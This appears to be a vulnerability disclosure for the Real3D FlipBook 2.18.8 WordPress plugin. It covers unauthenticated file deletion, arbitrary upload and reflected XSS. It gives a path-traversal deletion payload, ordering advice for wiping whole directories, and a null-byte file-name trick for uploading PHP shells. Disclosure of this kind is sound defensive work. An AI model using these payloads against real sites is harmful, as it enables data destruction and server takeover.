WordPress CodeCanyon Real3D FlipBook 2.18.8 File Deletion / Upload / XSS

Change Mirror Download
1) Unauthenticated file/directory deletion

Vulnerability exists in a file 'includes/process.php' where the user input eventually goes to PHP unlink() or rmdir() functions. We can give any file path or directory here. We can even delete the whole wordpress site. In my POC exploit, I'm just deleting the contents of wp-admin/ and wp-includes/ directories, which breaks the website anyways. The payload is really simple i.e. deleteBook=../../../wp-includes/customize .The only trick is to delete the deepest directory first with no other directories in it and then move gradually to the parent directory.


2) Unauthenticated image upload (In case of old versions of php shell upload)

This vuln also exists in 'includes/process.php' where the user input lands in PHP function file_put_contents(). An end user can control the path parameter, the data parameter and the part of name parameter. The file name gets concatenated to '.jpg', something like $_POST['pageName'].'.jpg'. An end user can upload the image anywhere even in the root directory. If the webserver is running the old version of PHP prior to 5.3 which was vulnerable to null byte injection/truncation attacks, we can also upload PHP files by injecting null bytes, something like , 'image.php%00.jpg', which will result in 'image.php'.

3) Last one is A reflected XSS in 'includes/flipbooks.php'.

User input ($_GET parameters) is directly echoed on the page. You can find more in depth details and code analysis in my blog post here. https://mukarramkhalid.com/wordpress-real-3d-flipbook-plugin-exploit/
